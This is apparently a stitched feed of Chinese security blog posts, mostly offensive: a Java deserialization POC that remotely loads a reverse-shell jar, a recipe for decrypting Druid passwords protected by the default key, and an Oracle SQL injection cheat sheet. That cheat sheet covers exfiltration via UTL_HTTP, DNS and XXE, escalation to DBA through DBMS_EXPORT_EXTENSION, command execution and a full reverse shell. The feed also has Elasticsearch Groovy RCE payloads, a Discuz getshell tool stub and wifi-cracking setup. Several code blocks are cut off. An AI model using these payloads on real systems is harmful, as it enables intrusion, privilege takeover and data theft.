这里大家应该能明白老外为什么要用动态代理来进行构造POC了,因为AnnotationInvocationHandler默认实现了InvocationHandler接口,在用Object iswin=Proxy.newInstance(classloader,interface,InvocationHandler)生成动态代理后,当对象iswin在进行对象调用时,那么就会调用InvocationHandler.invoke(xx)方法,所以POC的执行流程为map.xx->proxy(Map).invoke->lazymap.get(xx) 就会触发transform方法从而执行恶意代码。
这里的ChainedTransformer为链式的Transformer,会挨个执行我们定义的Transformer,这里比较简单,有兴趣自己去看源码就知道。
这里如果使用TransformedMap来进行POC的构造就非常简单了,我们跟进TransformedMap的checkSetValue方法
1 | protected Object checkSetValue(Object value) { |
我们继续看checkSetValue被那个函数所调用,在MapEntry类中的setValue恰好调用了checkSetValue,这里直接触发了tranform函数,用TransformedMap来构造POC为什么说比LazyMap好呢,那是因为这里触发的条件比较简单,我们可以在sun.reflect.annotation.AnnotationInvocationHandler中的readObject(xxx)
这里我们明显可以看到memberValue.setValue(xxx)方法,所以我们只需要构造一个不为空的TransformedMap,在AnnotationInvocationHandler.readObject(xx)事就会触发漏洞,需要注意,这里的触发的类为AnnotationInvocationHandler,在触发漏洞事会对type进行检查,所以在transformer的时候我们要讲type设置为annotation类型。
所以这里POC执行流程为TransformedMap->AnnotationInvocationHandler.readObject()->setValue()->checkSetValue()漏洞成功触发。
利用代码
1 |
|
现在网上给出的poc只能执行命令或者写个文件之类的,本文将介绍一种通用的漏洞利用方法,只要服务器可以出网,就可以进行任何操作,例如反弹个shell,写文件?当然还有抓鸡等。
漏洞原理什么的在上面已经分析过了,网上的POC都是调用RunTime.getRuntime().exec(“cmdxx”),很多人在问这个漏洞执行命令后能不能回显,对于回显,其实就是想办法拿到容器的response,但是非常遗憾,我在对jboss进行测试时并未找到一种方式可以获取当当前请求的response,其他容器就不清楚了,理论上只要找到一个方法可以获取到当前请求的response,那么回显就搞定了,期待有大牛来实现。
到目前为止,我们只能通过反射的方式来进行函数调用,如果要实现复杂的功能,估计构造POC会把人折磨死,所以是不是有一种通用的方法去加载我们的payload呢。
在java中有个URLClassLoader类,关于该类的作用大家自己去百度,简单说就是远程加载class到本地jvm中,说到这,我想稍微明白一点的就知道怎么做了,这里不废话了,文章写得累死了,直接给出POC吧,至于具体怎么利用,如何实现抓鸡等,明白人自然就明白。
反弹shell的原理,通过classload从我博客远程加载一个http://www.isiwn.org/attach/iswin.jar文件,然后进行实例化,博客上的jar文件里面包含了反弹shell的脚本,将类加载到本地后实例化实例化时在构造方法中执行反弹shell的payload。
直接上代码
我已经对网上的poc进行了修改,修改的更加容易阅读,方便大家学习。
1 | package ysoserial.payloads; |
效果
直接上代码
1 | import java.io.File; |
这里提供一个poc供大家进行检测,其实就是发送一个http请求到指定ip,然后参数中带有特定特征来判断是否存在漏洞,直接观察日志就可以了。
1 | package iswin; |
[1] :https://github.com/frohoff/ysoserial/
[2] :http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss
Druid是阿里巴巴开源平台上的一个项目,整个项目由数据库连接池、插件框架和SQL解析器组成。该项目主要是为了扩展JDBC的一些限制,可以让程序员实现一些特殊的需求,比如向密钥服务请求凭证、统计SQL信息、SQL性能收集、SQL注入检查、SQL翻译等,程序员可以通过定制来实现自己需要的功能。
Druid数据库加密算法采用的是RSA非对称加解密,并且秘钥的配置支持多种方式:
在Spring中配置像这样:
1 | <bean id="dataSource" class="com.alibaba.druid.pool.DruidDataSource" init-method="init" destroy-method="close"> |
从远程服务器中加载包含秘钥的remote.propreties
####读取本地秘钥
读取本地配置文件
1 | <bean id="dataSource" class="com.alibaba.druid.pool.DruidDataSource" |
获取解密的代码如下:
1 | public static final String SYS_PROP_CONFIG_KEY = "druid.config.decrypt.key"; |
如果前两种方式都未能找到解密的KEY,那么会在java系统熟悉中去获取秘钥。
如果上述所有方法都无法获取秘钥,那么程序将使用默认秘钥去加解密。
找到秘钥后就可以使用下列代码进行解密,不过大多数开发都是采用默认秘钥去加密字符串,实质上并没有什么卵用。
1 | package org.iswin.csv; |
BASE64工具
1 | package org.iswin.csv; |
本文主要讨论在得到一枚oracle注入点时,如何通过Oracle自带函数或者缺陷获取数据,权限提升以及获得系统权限。
这种方法在Oracle 8g,9g,10g中不需要任何权限,但是在Oracle 11g以及以后的版本中,官方加强了访问控制权限,所以在11g以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限。1
http://www.iswin.org/oracle.jsp?name=' and 1=utl_inaddr.get_host_name((select user from dual))--
1 | http://www.iswin.org/oracle.jsp?name=' and 1=ctxsys.drithsx.sn(1,(select user from dual))-- |
在使用这个XMLType进行报错时,很多人不知道为什么要用chr(60),通过ascii查询可以看到,60:<,58:’:’,62:’>’,查了下相关的api,发现xmltype在进行解析的时候必须以<开头>结尾,这里:冒号在这是必不可少的,至于为什么是冒号这个我也没查到,另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,有replace函数替换成其他非空字符就可以。1
http://www.iswin.org/oracle.jsp?name=' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null--
1 | http://www.iswin.org/oracle.jsp?name=' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null-- |
1 | http://www.iswin.org/oracle.jsp?name=' and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null-- |
1 | http://www.iswin.org/oracle.jsp?name=' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null-- |
1 | http://www.iswin.org/oracle.jsp?name=' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null-- |
通过utl_http.request我们可以将查询的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方法用户需要有utl_http访问网络的权限。1
http://www.iswin.org/oracle.jsp?name=' and (UTL_HTTP.request('http://www.iswin.org:80/'||(select banner from sys.v_$version where rownum=1))=1—
很多时候数据服务器都是站库分离的,而且不一定能出网,有时候可能会允许DNS请求,所以该方法能在一定情况下奏效。1
http://www.iswin.org/oracle.jsp?name=' and (select utl_inaddr.get_host_address((select user from dual)||'.iswin.org') from dual)is not null--
1 | http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.iswin.org') from dual)is not null-- |
受影响版本:11.2.0.3, 11.2.0.4, 12.1.0.1 和12.1.0.2
这里Oracle的XXE的利用效果和UTL_http的效果差不多,都是将数据传输到远端服务器上,但是,由于extractvalue()函数对所有数据库用户都可以使用,不存在权限的问题,所以当在低权限没有UTL_http访问权限时,这个不失为一个好方法。1
http://www.iswin.org/oracle.jsp?name=' and (select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://172.16.10.1:8080/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual) is not null
影响版本:Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2
漏洞的成因是该函数的参数存在注入,而该函数的所有者是sys,所以通过注入就可以执行任意sql,该函数的执行权限为public,所以只要遇到一个oracle的注入点并且存在这个漏洞的,基本上都可以提升到最高权限。
1 | http://www.iswin.org/oracle.jsp?name=' and (SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0)) is not null-- |
权限提升之后就可以做很多事了,因为Oracle可以执行JAVA代码,所以在提升权限后具体怎么操作,就看各自的JAVA水平了。
这里给出几种常见的利用方式。
1 | http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";inBr.close();in.close();return sb;}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null |
1 | http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null-- |
1 | http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null-- |
1 | http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null-- |
1 | http://www.iswin.org/oracle.jsp?name=' and (select sys.cmd('cmd.exe /c whoami') from dual) is not null-- |
当执行命令没有什么太大的帮助时,我们可以反弹一个交互式的shell,这样会方便很多。1
http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell{public static void run() throws Exception {Socket s = new Socket("172.16.10.1", 80);Process p = Runtime.getRuntime().exec("cmd.exe");new T(p.getInputStream(), s.getOutputStream()).start();new T(p.getErrorStream(), s.getOutputStream()).start();new T(s.getInputStream(), p.getOutputStream()).start();}static class T extends Thread {private InputStream i;private OutputStream u;public T(InputStream in, OutputStream out) {this.u = out;this.i = in;}public void run() {BufferedReader n = new BufferedReader(new InputStreamReader(i));BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));char f[] = new char[8192];int l;try {while ((l = n.read(f, 0, f.length)) > 0) {w.write(f, 0, l);w.flush();}} catch (IOException e) {}try {if (n != null)n.close();if (w != null)w.close();} catch (Exception e) {}}}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
1 | http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null-- |
1 | http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null-- |
1 | http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null-- |
1 | http://www.iswin.org/oracle.jsp?name=' and (select sys.reversetcp from dual) is not null-- |
首先感谢Wooyun社区lupin的对漏洞http://zone.wooyun.org/content/18894的分析
漏洞的成因是Groovy的白名单被绕过了,对常见的危险函数以及某些类做了限制,关于漏洞利用,我们只需要找到一个类能获取当前Class对象,这样的话也就是说可以用Java反射特性执行任意代码了,文中给出了java.lang.Math
这个类,然后调用java.lang.Math.class.forName('xx)
就可以执行Java代码了,这里我给出了一个命令执行的Exploit
1 | {"size":1,"script_fields": {"iswin": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}} |
上面的方法是利用java的反射特性来利用漏洞,这里既然是Groovy语言的远程代码执行,首先需要对Groovy语言有一点简单的认识。
Groovy 是 JVM 的一个替代语言 —替代 是指可以用 Groovy 在 Java 平台上进行 Java 编程,使用方式基本与使用 Java 代码的方式相同。在编写新应用程序时,Groovy 代码能够与 Java 代码很好地结合,也能用于扩展现有代码。
Groovy 与 Java 语言的区别很大,Java 语言是一种固定类型语言。在 Groovy 中,类型是可选的,所以您不必输入 String myStr = “Hello”; 来声明 String 变量。
除此之外,Groovy 代码还能在运行时轻松地改变自己。这实际上意味着,能够在运行时轻松地为对象指定新方法和属性。
也就是说Groovy有自己的语法规则,通过查询Groovy的相关API,发现就执行命令来说Groovy的String对象中有个execute()
方法可以执行系统命令,也就是说如果我们能找到一个可以控制的String类型的变量,就可以执行任意命令了,很遗憾,如果直接"ipconfig".execute()
这样就触发了Groovy的的黑名单。
如果用反射,可以这样this.class.toString().valueOf('whoami').execute().getText()
,即可完美实现,但是同过查阅valueOf()
这个函数,发现只要是String类型的变量即可调用,通过查阅API发现Groovy的dump()
函数返回类型是String,所以完美的远程命令执行Exploit就出来了dump().valueOf('ifconfig').execute().text
。
[1] :http://www.ibm.com/developerworks/cn/education/java/j-groovy/j-groovy.html
]]>1 | org.hibernate.HibernateException: Could not obtain transaction-synchronized Session for current thread |
查了相关资料发现是事务配置有问题,我一般比较习惯用声明式注解,所以就用了来配置了,调试了半天还是一样的错
误,实在是找不到错误在哪里,最后我用注解的方式开启了事务管理(@EnableTransactionManagement),一切正常,看来真是事务的问题,实在是不知道哪里错了,就看了下官方的文档,发现这两种开启事务的方式的作用域范围。
@EnableTransactionManagement 和 tx:annotation-driven只查找在同一个application context中bean上面查找@Transactional,也就是说在采用注解开启事务管理里和Transactional在同一上下文当中,而在xml配置的时候把加载的顺序搞反了,正常的顺序应该是
正确地方式应该像这样:1
2
3<context:annotation-config/>
<context:component-scan base-package=""/>
<tx:annotation-driven />
###参考链接
[1] : http://forum.spring.io/forum/spring-projects/web/80895-why-tx-annotation-driven-doesn-t-work-in-my-service-configuration-file
网上给的登陆新浪微博的例子过程都比较繁琐,抓包发现新浪有个接口只需要两步就可以完成,发出来大家分享下。
1 | package org.iswin.weibo; |
CDlinux是破解无线wifi信号的很好用的系统。它就像一个PE,不过它是基于Linux内核的微型系统。里面的破解工具很齐全,既有传统的抓包工具,也有最新的PIN码破解软件,而且针对windows用户的使用习惯进行了界面优化,所以使用起来会很方便。
网上的安装方法五花八门,这里说下一种最简单。
在u盘里面的boot文件夹里面新建syslinux文件夹,在该文件夹里面建立syslinux.cfg文件,具体内容如下:
1 | default CDlinux |
将下载的syslinux.exe放到syslinux文件夹下面,dos下cd到该目录,执行
1 | syslinux.exe -f -m -a -d /boot/syslinux E: |
注意:E是u盘的盘符,根据需要自己改就是了!
Discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据,python 版的uc_key getshell部分的代码来自网上(感谢作者)
1 | #!/usr/bin/env python |
1 | __author__ = 'iswin' |